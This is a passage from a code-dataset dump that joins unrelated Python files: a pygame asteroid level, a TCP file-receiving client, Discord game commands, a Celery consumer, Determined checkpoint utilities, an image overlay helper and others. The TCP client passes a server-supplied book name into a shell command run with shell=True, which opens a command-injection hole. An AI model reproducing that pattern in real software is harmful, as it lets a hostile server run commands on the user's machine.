enemies.remove(self)\n self.upgrades.append(Upgrade(self.pos, self.pos+(uniform(-200, 200), uniform(-50, 50)), self.type, enemies))\n\n #TODO GIVE UPGRADE TO PLAYER\n \n def render(self, window) :\n tex = pygame.transform.rotate(self.image, self.angle)\n window.blit(tex, self.pos-(tex.get_width() * 0.5, tex.get_height() * 0.5))\n if debug :\n self.collider.render(window)\n\n\nclass Asteroid(pygame.sprite.Sprite) :\n def __init__(self, boss, pos, player, enemies) :\n pygame.sprite.Sprite.__init__(self)\n self.pos = pos\n self.type = 'ASTEROID'\n self.boss = boss\n self.player = player\n self.enemies = enemies\n self.scale = uniform(0.8, 1.4)\n self.collider = Collider(self, 40*self.scale, pygame.math.Vector2(0, 0))\n self.forcefield = Collider(self, 40 * self.scale + 40, pygame.math.Vector2(0, 0))\n\n self.image = pygame.transform.rotozoom(textures['ASTEROID'][randint(0, 2)], 0, self.scale).convert_alpha()\n self.rotatespeed = uniform(-0.2, 0.2)\n self.angle = 0\n self.vel = pygame.math.Vector2(0, 2)\n self.acc = pygame.math.Vector2(0, 0)\n\n def update(self, dt, enemies, lasers, player) :\n \n if self.pos.y > HEIGHT + texturesOffsets['ASTEROID'].y * 2 :\n enemies.remove(self)\n return\n\n self.vel.x *= 0.9\n self.vel += self.acc\n self.pos += self.vel\n self.angle += self.rotatespeed\n\n self.acc.x = 0\n self.acc.y = 0\n\n if self.vel.y > 3 :\n self.vel.y = 3\n\n if self.vel.y < 1 :\n self.vel.y = 1\n\n for enemy in enemies :\n if not enemy.type == 'ASTEROID' or enemy == self :\n continue\n collider = self.forcefield\n if collider.collides(enemy.forcefield) :\n force = self.pos + texturesOffsets['ASTEROID'] - enemy.pos\n force.scale_to_length(0.05)\n self.acc += force\n\n if self.collider.collides(player.collider) :\n force = (self.pos) - (player.pos + texturesOffsets['PLAYER_SHIP'])\n force.scale_to_length(0.4)\n self.acc += force\n\n # check collisions\n for laser in lasers :\n collider = laser.collider\n if laser.owner.type == 'PLAYER' and self.collider.collides(collider) : #collision\n laser.destroy(lasers)\n force = self.pos + texturesOffsets['ASTEROID'] - laser.pos\n force.scale_to_length(0.1)\n self.acc += force\n \n def render(self, window) :\n tex = pygame.transform.rotate(self.image, self.angle)\n window.blit(tex, self.pos-(tex.get_width() * 0.5, tex.get_height() * 0.5))\n if debug :\n pass\n #self.forcefield.render(window)\n\nUPGRADE_TYPES = ['ECO', 'REACTOR', 'RANGE']\n\nclass Asteroids(pygame.sprite.Sprite):\n def __init__(self, lasers, powerups, player, enemies, upgrades) :\n pygame.sprite.Sprite.__init__(self)\n\n self.type = 'ASTEROIDS'\n\n self.pos = pygame.math.Vector2(CENTERX, 0)\n self.scale = 1\n\n self.colliders = []\n\n self.upgrades = upgrades\n self.lasers = lasers\n self.powerups = powerups\n self.player = player\n self.enemies = enemies\n self.time = 0\n self.lifeBar = BossLifeBar(self, FPS * 40)\n self.diff = 70\n self.segmented = False\n\n def give_powerup(self, target, type) :\n self.powerups.append(Powerup(self.pos, target, type))\n\n def update(self, dt) :\n self.time += 1\n self.lifeBar.life -= 1\n if self.lifeBar.life > FPS * 8 :\n if self.time % (self.diff) == 0:\n self.enemies.append(Asteroid(self, pygame.math.Vector2(uniform(0, WIDTH), -50), self.player, self.enemies))\n if self.time == FPS * 10 :\n self.enemies.append(Station(self.player, self.enemies, UPGRADE_TYPES[0], self.upgrades))\n if self.time == FPS * 20 :\n self.enemies.append(Station(self.player, self.enemies, UPGRADE_TYPES[1], self.upgrades))\n if self.time == FPS * 30 :\n self.enemies.append(Station(self.player, self.enemies, UPGRADE_TYPES[2], self.upgrades))\n if self.time % (FPS * 25) == 0 :\n self.diff = 60\n if self.time % (FPS * 8) == 0:\n self.give_powerup(pygame.math.Vector2(uniform(50, WIDTH-50), uniform(0, 100)), 'PU_HEALTH')\n elif self.lifeBar.life < FPS * 1:\n if not self.segmented : \n add_segment(\"Asteroid Fields\")\n self.segmented = True\n def render(self, window) :\n self.lifeBar.render(window)","sub_path":"src/Asteroids.py","file_name":"Asteroids.py","file_ext":"py","file_size_in_byte":6563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"141031140","text":"import socket\nimport os\nimport argparse\nimport time\nimport json\nimport re\nimport subprocess\n\n#Argument Parser Section\nap =argparse.ArgumentParser()\nap.add_argument(\"-i\",\"--index\",help =\"index to the dictionary\")\nap.add_argument(\"-b\",\"--buffer\",help=\"buffer capacity\")\nap.add_argument(\"-r\",\"--result\",help=\"output result path\")\nargs = vars(ap.parse_args())\n\n#Variables\nIP_ADDRESS = socket.gethostname()\nPORT_NO = 12345\nPROTOCOL = 'TCP'\nINDEX = args['index'] \nBUFFER = int(args['buffer'])\nRESULT_PATH = args['result']\n\nstart_time = time.time()\nclient_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n# client_socket.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,True)\nclient_socket.connect((IP_ADDRESS,PORT_NO))\n\n\n# Sending the index of the required file to the server\nclient_socket.send(bytes(INDEX,'utf-16'))\nprint(f\"Index {INDEX} searching in the server\")\nbook_and_size = (client_socket.recv(100)).decode('utf-16')\nbook_and_size_list =re.split('(\\d+)',book_and_size)\nbook = book_and_size_list[0]\nbook_size = book_and_size_list[1] \nprint(f\"Found {book} with index {INDEX}\")\n\n# Opening the output file and creating the file name\npid = str(os.getpid())\noutput_path ='./received_files/'+book+'_'+PROTOCOL+'_'+pid+'.txt'\nwrite_file = open(output_path,'w')\nmessage = bytes('','utf-16')\nprint(f\"Started receiving the file\")\n\n\n\nwhile True:\n \n try:\n temp_message = client_socket.recv(BUFFER)\n # client_socket.setsockopt(socket.SOL_TCP,socket.TCP_QUICKACK,True)\n message += temp_message\n client_socket.settimeout(0.1)\n \n print(f\"Time elapsed: {time.time() - start_time}s\")\n \n except socket.timeout: \n \n write_file.write(message.decode('utf-16'))\n final_time = time.time() - start_time\n print(f\"it took {final_time}s to receive the file\")\n print(f\" {book} received completely using TCP protocol with {BUFFER} bytes buffer. Thanks server!\")\n size_of_file = os.path.getsize(output_path)\n through_put = size_of_file/final_time\n word_count = subprocess.check_output(f\"cat {output_path} | wc -w\",shell=True)\n word_count = (word_count.decode())[:-1]\n dictionary = {\"Book_Name\":book,\"Protocol\":PROTOCOL,\"PID\":pid,\"Buffer_Size\":BUFFER,\"Total_Time_Taken\":final_time,\"Original Size\":book_size,\"Size_of_the_file_created\":size_of_file,\"Throughput\":through_put,\"Word_Count\":word_count}\n \n with open(RESULT_PATH, 'r+') as f:\n if len(f.read()) == 0:\n f.write('['+json.dumps(dictionary))\n else:\n f.write(',\\n' + json.dumps(dictionary))\n\n \n client_socket.close()\n break\n \n\n\n \n \n ","sub_path":"Assignment 3/3G/3G_F/tcp_client.py","file_name":"tcp_client.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"44588582","text":"from autocode import settings\nfrom autocode import utils\n\ndef render(prop):\n \"\"\" Render a single property. \"\"\"\n result = ['@%s' % prop.name]\n if prop.modifier != '':\n result.append(prop.modifier)\n if prop.ident != '':\n result.append(prop.ident)\n if prop.description != '':\n result.append(prop.description)\n return ' '.join(result)\n\ndef render_comment(props, description=None):\n \"\"\" Render properties in comment form.\n :param props: A list of Property objects that appear in the comment.\n :param description: The description to appear above the properties.\n \"\"\"\n if description is None and len(props) == 0:\n return utils.EMPTY_COMMENT\n\n useful_props = []\n # this block checks if there are any useful docs to render\n if settings.get_redundant_doctag_setting() is False:\n for prop in props:\n if prop.description != '' or prop.name not in utils.REDUNDANT_DOCTAGS:\n useful_props.append(prop)\n else:\n useful_props = props\n\n result = []\n if description != '' and description is not None:\n result.append(' * ' + description.replace(\"\\n\", \"\\n * \"))\n for prop in useful_props:\n result.append(' * ' + render(prop))\n\n result = \"\\n\".join(result)\n if result == '':\n return utils.EMPTY_COMMENT\n else:\n return result\n","sub_path":"renderers/php/propertyrenderer.py","file_name":"propertyrenderer.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"49525866","text":"from .base import base_model\nimport random\n\nclass random_model(base_model):\n \n\tdef forecast(self, parameters, training_set, forecast_horizon):\n\t\tgenerator = random.seed()\n\n\t\tresult = {}\n\t\tfor x in training_set:\n\t\t\tforecast_values = []\n\n\n\t\t\tmax_value = int(max(training_set[x]))\n\t\t\tmin_value = int(min(training_set[x]))\n\t\t\t\n\t\t\tfor y in range(0, forecast_horizon):\n\t\t\t\tforecast_values.append(random.randrange(min_value, max_value))\n\n\t\t\tresult[x] = forecast_values\n\n\t\treturn result\n\n\tdef get_name(self):\n\t\treturn 'Random model'","sub_path":"framework/forecasting/random_model.py","file_name":"random_model.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"225989061","text":"import FWCore.ParameterSet.Config as cms\n\nmin_pT_hat = 30.0 # CV: minimum threshold on pT_hat for QCD MC samples\n\nminbiasMCFilterSequence = cms.Sequence()\n\nak4SelGenJets = cms.EDFilter(\"CandViewSelector\",\n src = cms.InputTag('ak4GenJetsNoNu'),\n cut = cms.string(\"abs(eta) < 2.4 & pt > %2.1f\" % min_pT_hat),\n filter = cms.bool(False)\n)\nminbiasMCFilterSequence += ak4SelGenJets\n\nminbiasMCFilter = cms.EDFilter(\"MyCandViewCountFilter\",\n src = cms.InputTag('ak4SelGenJets'),\n maxNumber = cms.int32(2)\n)\nminbiasMCFilterSequence += minbiasMCFilter\n","sub_path":"python/minbiasMCFilter_cff.py","file_name":"minbiasMCFilter_cff.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"119129583","text":"from discord.ext import commands\nimport discord\nimport random\n\nclass Games(commands.Cog):\n truths = []\n dares = []\n wouldyourather = []\n\n def __init__(self, bot): \n self.bot = bot\n with open(\"res/truth.txt\", encoding=\"utf8\") as f:\n self.truths = f.read().splitlines()\n \n with open(\"res/dare.txt\", encoding=\"utf8\") as f:\n self.dares = f.read().splitlines()\n\n with open('res/wyr.txt', encoding=\"utf8\") as f:\n self.wouldyourather = f.read().splitlines()\n\n @commands.command()\n async def truth(self, ctx):\n \"\"\"\n Speak truth\n \"\"\"\n await ctx.send(str(self.truths[random.randint(0, len(self.truths))]).strip())\n\n @commands.command()\n async def dare(self, ctx):\n \"\"\"\n Do it, bitch\n \"\"\"\n await ctx.send(str(self.dares[random.randint(0, len(self.dares))]).strip())\n\n @commands.command()\n async def wyr(self, ctx):\n \"\"\"\n Answer me\n \"\"\"\n await ctx.send(str(self.wouldyourather[random.randint(0, len(self.wouldyourather))]).strip())\n\ndef setup(bot):\n bot.add_cog(Games(bot))\n\n","sub_path":"cogs/games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"379241301","text":"\"\"\"\nThis program desmostrates \n\na. Changing format of displyed messages in log\n\nUse multiple LogRecord attributes to print more detailed message header containing information about \nprocess, thread, module, function from which messages is logged and other required data.\n\nExample message header we will implement :\n[:::::::line :User :Device ]\n \n\nb. Log from different function\n\nb. Log from a different user defined module.\n\n\n# Excpected Output \n\n$ cat catalina.log\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:INFO:CustomLogger:main:line 58:User test:Device att2-home3455] info message\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:WARNING:CustomLogger:main:line 59:User test:Device att2-home3455] warning message\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:DEBUG:CustomLogger:connectDevice:line 20:User test:Device att2-home3455] Connecting to\ndevice\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:DEBUG:data_collection:get_data:line 9:User test:Device att2-home3455] Starting data fetch operation on device\n\n\"\"\"\n\nimport logging\nfrom data_collection import *\n\ndef connectDevice(device, user, password):\n connection_data = {'user': user, 'device' : device}\n logging.debug(\"Connecting to device\", extra=connection_data)\n\n ### bla\n ### bla\n connection = \"bla..blaaa\"\n return connection\n\ndef main():\n\n \n # use a custom message header formatting specification\n #\n # Helpful LogRecord attributes (Refer https://docs.python.org/3.7/library/logging.html)\n #\n # To display the date and time of an event, you would place ‘%(asctime)s’ in your format string:\n # funcName : Name of function containing the logging call.\n # levelname : Text logging level for the message ('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL').\n # message : The logged message, computed as msg % args. \n # process : Process ID (if available).\n # module : Module (name portion of filename).\n # processName : Process name (if available).\n # threadName : Thread name (if available).\n # thread : Thread ID (if available).\n\n user = \"test\"\n device = \"att2-home3455\"\n connection_data = {'user': user, 'device' : device}\n\n #log msg header\n # Example header :\n # [:::::::line :User :Device ]\n #\n measage_header= \"[%(asctime)s:%(processName)s:%(threadName)s:%(thread)d:%(levelname)s:%(module)s:\\\n%(funcName)s:line %(lineno)d:User %(user)s:Device %(device)s] %(message)s\"\n dateStr = \"%m-%d-%Y %I:%M:%S %p\"\n\n logging.basicConfig(filename=\"catalina.log\",\n level=logging.DEBUG,\n format=measage_header,\n datefmt=dateStr)\n\n logging.info(\"info message\", extra=connection_data)\n logging.warning(\"warning message\", extra=connection_data)\n \n connection = connectDevice(device, user, \"test\")\n get_data(connection, connection_data)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"modules/logging/message_header/CustomLogger.py","file_name":"CustomLogger.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"201949097","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('movie_website.search.views',\n # Examples:\n # url(r'^$', 'movie_website.views.home', name='home'),\n # url(r'^movie_website/', include('movie_website.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n #url(r'^admin/', include(admin.site.urls)),\n url(r'^$', 'index'),\n\turl(r'^findmovie/$', 'findmovie'),\n\turl(r'^findperson/$', 'findperson'),\n)\n","sub_path":"movie_website/search/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"193285648","text":"class find:\n\tdef finduniqueamongtwos(self, l):\n\t\t#for all even number of repeat\n\t\tones = 0\n\t\tfor n in l:\n\t\t\tones ^= n\n\t\treturn ones\n\n\tdef finduniqueamongthrees(self, l):\n\t\tones = 0\n\t\ttwos = 0\n\t\tnon_threes = 0\n\t\tfor n in l:\n\t\t\ttwos |= ones&n\n\t\t\tones ^= n\n\t\t\tnon_threes = ~(twos & ones)\n\t\t\ttwos &= non_threes\n\t\t\tones &= non_threes\n\t\treturn ones\n\n\nif __name__ == '__main__':\n\ta = [1,1,3,3,2,2,4]\n\tb = [1,1,1,3,2,3,3]\n\tcf = find()\n\tprint(cf.finduniqueamongtwos(a))\n\tprint(cf.finduniqueamongthrees(b))","sub_path":"findunique.py","file_name":"findunique.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"516991125","text":"import enum\nimport json\nimport pathlib\nimport shutil\nfrom typing import Any, Dict, List, Optional, cast\n\nfrom determined_common import api, constants, storage\nfrom determined_common.storage import shared\n\n\nclass ModelFramework(enum.Enum):\n PYTORCH = 1\n TENSORFLOW = 2\n\n\nclass CheckpointState(enum.Enum):\n UNSPECIFIED = 0\n ACTIVE = 1\n COMPLETED = 2\n ERROR = 3\n DELETED = 4\n\n\nclass Checkpoint(object):\n \"\"\"\n A ``Checkpoint`` represents a trained model.\n\n This class provides helper functionality for downloading checkpoints to\n local storage and loading checkpoints into memory.\n\n The :class:`~determined.experimental.TrialReference` class contains methods\n that return instances of this class.\n\n Arguments:\n uuid (string): UUID of the checkpoint.\n experiment_config (dict): The configuration of the experiment that\n created the checkpoint.\n experiment_id (int): The ID of the experiment that created the checkpoint.\n trial_id (int): The ID of the trial that created the checkpoint.\n hparams (dict): Hyperparameter values for the trial that created\n the checkpoint.\n batch_number (int): Batch number during training when the checkpoint was taken.\n start_time (string): Timestamp when the checkpoint began being saved to\n persistent storage.\n end_time (string): Timestamp when the checkpoint completed being saved to\n persistent storage.\n resources (dict): Dictionary of file paths to file sizes (in bytes) of all\n files in the checkpoint.\n validation (dict): Dictionary of validation metric names to their values.\n framework (string, optional): The framework of the trial i.e., tensorflow, torch.\n format (string, optional): The format of the checkpoint i.e., h5, saved_model, pickle.\n determined_version (str, optional): The version of Determined the\n checkpoint was taken with.\n metadata (dict, optional): User defined metadata associated with the checkpoint.\n master (string, optional): The address of the Determined master instance.\n \"\"\"\n\n def __init__(\n self,\n uuid: str,\n experiment_config: Dict[str, Any],\n experiment_id: int,\n trial_id: int,\n hparams: Dict[str, Any],\n batch_number: int,\n start_time: str,\n end_time: str,\n resources: Dict[str, Any],\n validation: Dict[str, Any],\n metadata: Dict[str, Any],\n determined_version: Optional[str] = None,\n framework: Optional[str] = None,\n format: Optional[str] = None,\n model_version: Optional[int] = None,\n model_name: Optional[str] = None,\n master: Optional[str] = None,\n ):\n self.uuid = uuid\n self.experiment_config = experiment_config\n self.experiment_id = experiment_id\n self.trial_id = trial_id\n self.hparams = hparams\n self.batch_number = batch_number\n self.start_time = start_time\n self.end_time = end_time\n self.resources = resources\n self.validation = validation\n self.framework = framework\n self.format = format\n self.determined_version = determined_version\n self.model_version = model_version\n self.model_name = model_name\n self.metadata = metadata\n self._master = master\n\n def _find_shared_fs_path(self) -> pathlib.Path:\n \"\"\"Attempt to find the path of the checkpoint if being configured to shared fs.\n This function assumes the host path of the shared fs exists.\n \"\"\"\n host_path = self.experiment_config[\"checkpoint_storage\"][\"host_path\"]\n storage_path = self.experiment_config[\"checkpoint_storage\"].get(\"storage_path\")\n potential_paths = [\n pathlib.Path(shared._full_storage_path(host_path, storage_path), self.uuid),\n pathlib.Path(\n shared._full_storage_path(\n host_path, storage_path, constants.SHARED_FS_CONTAINER_PATH\n ),\n self.uuid,\n ),\n ]\n\n for path in potential_paths:\n if path.exists():\n return path\n\n raise FileNotFoundError(\n \"Checkpoint {} not found in {}. This error could be caused by not having \"\n \"the same shared file system mounted on the local machine as the experiment \"\n \"checkpoint storage configuration.\".format(self.uuid, potential_paths)\n )\n\n def download(self, path: Optional[str] = None) -> str:\n \"\"\"\n Download checkpoint to local storage.\n\n Arguments:\n path (string, optional): Top level directory to place the\n checkpoint under. If this parameter is not set, the checkpoint will\n be downloaded to ``checkpoints/`` relative to the\n current working directory.\n \"\"\"\n if path is not None:\n local_ckpt_dir = pathlib.Path(path)\n else:\n local_ckpt_dir = pathlib.Path(\"checkpoints\", self.uuid)\n\n # Backward compatibility: we used MLflow's MLmodel checkpoint format for\n # serializing pytorch models. We now use our own format that contains a\n # metadata.json file. We are checking for checkpoint existence by\n # looking for both checkpoint formats in the output directory.\n potential_metadata_paths = [\n local_ckpt_dir.joinpath(f) for f in [\"metadata.json\", \"MLmodel\"]\n ]\n if not any(p.exists() for p in potential_metadata_paths):\n # If the target directory doesn't already appear to contain a\n # checkpoint, attempt to fetch one.\n if self.experiment_config[\"checkpoint_storage\"][\"type\"] == \"shared_fs\":\n src_ckpt_dir = self._find_shared_fs_path()\n shutil.copytree(str(src_ckpt_dir), str(local_ckpt_dir))\n else:\n local_ckpt_dir.mkdir(parents=True, exist_ok=True)\n manager = storage.build(\n self.experiment_config[\"checkpoint_storage\"],\n container_path=None,\n )\n if not isinstance(manager, (storage.S3StorageManager, storage.GCSStorageManager)):\n raise AssertionError(\n \"Downloading from S3 or GCS requires the experiment to be configured with \"\n \"S3 or GCS checkpointing, {} found instead\".format(\n self.experiment_config[\"checkpoint_storage\"][\"type\"]\n )\n )\n\n metadata = storage.StorageMetadata.from_json(\n {\"uuid\": self.uuid, \"resources\": self.resources}\n )\n manager.download(metadata, str(local_ckpt_dir))\n\n if not local_ckpt_dir.joinpath(\"metadata.json\").exists():\n with open(local_ckpt_dir.joinpath(\"metadata.json\"), \"w\") as f:\n json.dump(\n {\n \"determined_version\": self.determined_version,\n \"framework\": self.framework,\n \"format\": self.format,\n \"experiment_id\": self.experiment_id,\n \"trial_id\": self.trial_id,\n \"hparams\": self.hparams,\n \"experiment_config\": self.experiment_config,\n \"metadata\": self.metadata,\n },\n f,\n indent=2,\n )\n\n return str(local_ckpt_dir)\n\n def load(\n self, path: Optional[str] = None, tags: Optional[List[str]] = None, **kwargs: Any\n ) -> Any:\n \"\"\"\n Loads a Determined checkpoint into memory. If the checkpoint is not\n present on disk it will be downloaded from persistent storage.\n\n Arguments:\n path (string, optional): Top level directory to load the\n checkpoint from. (default: ``checkpoints/``)\n tags (list string, optional): Only relevant for TensorFlow\n SavedModel checkpoints. Specifies which tags are loaded from\n the TensorFlow SavedModel. See documentation for\n `tf.compat.v1.saved_model.load_v2\n `_.\n kwargs: Only relevant for PyTorch checkpoints. The keyword arguments\n will be applied to ``torch.load``. See documentation for `torch.load\n `_.\n \"\"\"\n ckpt_path = self.download(path)\n return Checkpoint.load_from_path(ckpt_path, tags=tags, **kwargs)\n\n def add_metadata(self, metadata: Dict[str, Any]) -> None:\n \"\"\"\n Adds user-defined metadata to the checkpoint. The ``metadata`` argument must be a\n JSON-serializable dictionary. If any keys from this dictionary already appear in\n the checkpoint metadata, the corresponding dictionary entries in the checkpoint are\n replaced by the passed-in dictionary values.\n\n Arguments:\n metadata (dict): Dictionary of metadata to add to the checkpoint.\n \"\"\"\n for key, val in metadata.items():\n self.metadata[key] = val\n\n if self._master:\n api.post(\n self._master,\n \"/api/v1/checkpoints/{}/metadata\".format(self.uuid),\n body={\"checkpoint\": {\"metadata\": self.metadata}},\n )\n\n def remove_metadata(self, keys: List[str]) -> None:\n \"\"\"\n Removes user-defined metadata from the checkpoint. Any top-level keys that\n appear in the ``keys`` list are removed from the checkpoint.\n\n Arguments:\n keys (List[string]): Top-level keys to remove from the checkpoint metadata.\n \"\"\"\n\n for key in keys:\n if key in self.metadata:\n del self.metadata[key]\n\n if self._master:\n api.post(\n self._master,\n \"/api/v1/checkpoints/{}/metadata\".format(self.uuid),\n body={\"checkpoint\": {\"metadata\": self.metadata}},\n )\n\n @staticmethod\n def load_from_path(path: str, tags: Optional[List[str]] = None, **kwargs: Any) -> Any:\n \"\"\"\n Loads a Determined checkpoint from a local file system path into\n memory. If the checkpoint is a PyTorch model, a ``torch.nn.Module`` is returned.\n If the checkpoint contains a TensorFlow SavedModel, a TensorFlow\n autotrackable object is returned.\n\n Arguments:\n path (string): Local path to the checkpoint directory.\n tags (list string, optional): Only relevant for TensorFlow\n SavedModel checkpoints. Specifies which tags are loaded from\n the TensorFlow SavedModel. See documentation for\n `tf.compat.v1.saved_model.load_v2\n `_.\n \"\"\"\n checkpoint_dir = pathlib.Path(path)\n metadata = Checkpoint.parse_metadata(checkpoint_dir)\n checkpoint_type = Checkpoint.get_type(metadata)\n\n if checkpoint_type == ModelFramework.PYTORCH:\n import determined_common.experimental.checkpoint._torch\n\n return determined_common.experimental.checkpoint._torch.load_model(\n checkpoint_dir, metadata, **kwargs\n )\n\n elif checkpoint_type == ModelFramework.TENSORFLOW:\n import determined_common.experimental.checkpoint._tf\n\n return determined_common.experimental.checkpoint._tf.load_model(\n checkpoint_dir, metadata, tags=tags\n )\n\n raise AssertionError(\"Unknown checkpoint format at {}\".format(checkpoint_dir))\n\n @staticmethod\n def parse_metadata(directory: pathlib.Path) -> Dict[str, Any]:\n metadata_path = directory.joinpath(\"metadata.json\")\n with metadata_path.open() as f:\n metadata = json.load(f)\n\n return cast(Dict[str, Any], metadata)\n\n @staticmethod\n def get_type(metadata: Dict[str, Any]) -> ModelFramework:\n if \"framework\" in metadata:\n if metadata[\"framework\"].startswith(\"torch\"):\n return ModelFramework.PYTORCH\n\n if metadata[\"framework\"].startswith(\"tensorflow\"):\n return ModelFramework.TENSORFLOW\n\n # Older metadata layout contained torch_version and tensorflow_version\n # as keys. Eventually, we should drop support for the older format.\n if \"torch_version\" in metadata:\n return ModelFramework.PYTORCH\n\n elif \"tensorflow_version\" in metadata:\n return ModelFramework.TENSORFLOW\n\n raise AssertionError(\"Unknown checkpoint format\")\n\n def __repr__(self) -> str:\n if self.model_name is not None:\n return \"Checkpoint(uuid={}, trial_id={}, model={}, version={})\".format(\n self.uuid, self.trial_id, self.model_name, self.model_version\n )\n return \"Checkpoint(uuid={}, trial_id={})\".format(self.uuid, self.trial_id)\n\n @staticmethod\n def from_json(data: Dict[str, Any], master: Optional[str] = None) -> \"Checkpoint\":\n validation = {\n \"metrics\": data.get(\"metrics\", {}),\n \"state\": data.get(\"validation_state\", None),\n }\n\n return Checkpoint(\n data[\"uuid\"],\n data.get(\"experiment_config\", data.get(\"experimentConfig\")),\n data.get(\"experiment_id\", data.get(\"experimentId\")),\n data.get(\"trial_id\", data.get(\"trialId\")),\n data[\"hparams\"],\n data.get(\"batch_number\", data.get(\"batchNumber\")),\n data.get(\"start_time\", data.get(\"startTime\")),\n data.get(\"end_time\", data.get(\"endTime\")),\n data[\"resources\"],\n validation,\n data.get(\"metadata\", {}),\n framework=data.get(\"framework\"),\n format=data.get(\"format\"),\n determined_version=data.get(\"determined_version\", data.get(\"determinedVersion\")),\n model_version=data.get(\"model_version\"),\n model_name=data.get(\"model_name\"),\n master=master,\n )\n","sub_path":"common/determined_common/experimental/checkpoint/_checkpoint.py","file_name":"_checkpoint.py","file_ext":"py","file_size_in_byte":14385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"581918558","text":"def main(): \n numero = int(input(\"Digite um número de 4 dígitos: \"))\n\n resultado = calculo(numero)\n verificacao = verificar_se_iguais(numero,resultado)\n \n \ndef calculo(n):\n num_1 = n // 100\n num_2 = n % 100\n soma = num_1 + num_2\n numero_digitado = soma ** 2\n return numero_digitado\n\n\ndef verificar_se_iguais(a,b):\n if a == b:\n print(\"Este número obedece à caraterística, pois ele é igual ao resultado do cálculo.\")\n else:\n print(\"Este número não obedece à caraterística, pois ele não é igual ao resultado do cálculo.\")\n\nmain()\n\n\n","sub_path":"Fabio02a/Q30_F2a_verif_caract.py","file_name":"Q30_F2a_verif_caract.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"592353842","text":"\narray = [1,2,2,3,1]\n\n\n\"\"\"\ndoing bitwise XOR would cancel all the same numbers and leave the variable\nwith single value item in this case\nexplanation:\n1^2 is a some bitwise between these two numbers\n!^2^2 leaves the variable with 1\n\"\"\"\nret = array[0]\nfor i in range(1,len(array)):\n ret ^= array[i]\nprint (ret)\n","sub_path":"find_single_elem_O_of_N.py","file_name":"find_single_elem_O_of_N.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"491814455","text":"# -*- coding:utf-8 -*-\nfrom celery import bootsteps\nfrom kombu import Consumer, Exchange, Queue\nfrom .config import custom_exchange, custom_queue, custom_rk\n\n\nclass CustomConsumerStep(bootsteps.ConsumerStep):\n \"\"\"Get message from custom queue and create celery task\"\"\"\n\n def get_consumers(self, channel):\n exchange = Exchange(custom_exchange, 'direct')\n queue = Queue(custom_queue, exchange=exchange, routing_key=custom_rk)\n return [\n Consumer(\n channel,\n queues=[queue],\n callbacks=[self.handle_message],\n accept=['json']\n )\n ]\n\n def handle_message(self, body, message):\n # Attention!\n # You can't import task in other place\n # You can't wait for result\n from .tasks import test1\n test1.delay(body['a'], body['b'])\n message.ack()\n","sub_path":"project/custom_consumer/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"599297535","text":"\n# coding: utf-8\n\n# # Function gshow\n\n# ## Synopse\n\n# Overlay color planes on a gray scale image ready for display.\n# \n# - **g = gshow(f, X1, X2, X3, X4, X5, X6)**\n# - **g:** Output. RGB Image.\n# - **f:** Image. Gray Scale input image.\n# - **X1:** binary image. Overlay as Red.\n# - **X2:** binary image. Overlay as Green.\n# - **X3:** binary image. Overlay as Blue.\n# - **X4:** binary image. Overlay as Magenta.\n# - **X5:** binary image. Overlay as Yellow.\n# - **X6:** binary image. Overlay as Cyan.\n\n# In[1]:\n\nimport numpy as np\n\ndef gshow(f, X1=None, X2=None, X3=None, X4=None, X5=None, X6=None):\n \n if f.dtype == np.bool:\n f = np.where(f,255,0).astype('uint8')\n \n r = f\n g = f\n b = f\n \n if X1 is not None: # red 1 0 0\n if (X1.dtype != np.bool): \n raise Exception('X1 must be binary overlay')\n r = np.where(X1,255,r)\n g = np.where(~X1,g,0)\n b = np.where(~X1,b,0)\n if X2 is not None: # green 0 1 0\n if (X2.dtype != np.bool):\n raise Exception('X2 must be binary overlay')\n r = np.where(~X2,r,0)\n g = np.where(X2,255,g)\n b = np.where(~X2,b,0)\n if X3 is not None: # blue 0 0 1\n if (X3.dtype != np.bool):\n raise Exception('X3 must be binary overlay')\n r = np.where(~X3,r,0)\n g = np.where(~X3,g,0)\n b = np.where(X3,255,b)\n if X4 is not None: # magenta 1 0 1\n if (X4.dtype != np.bool):\n raise Exception('X4 must be binary overlay')\n 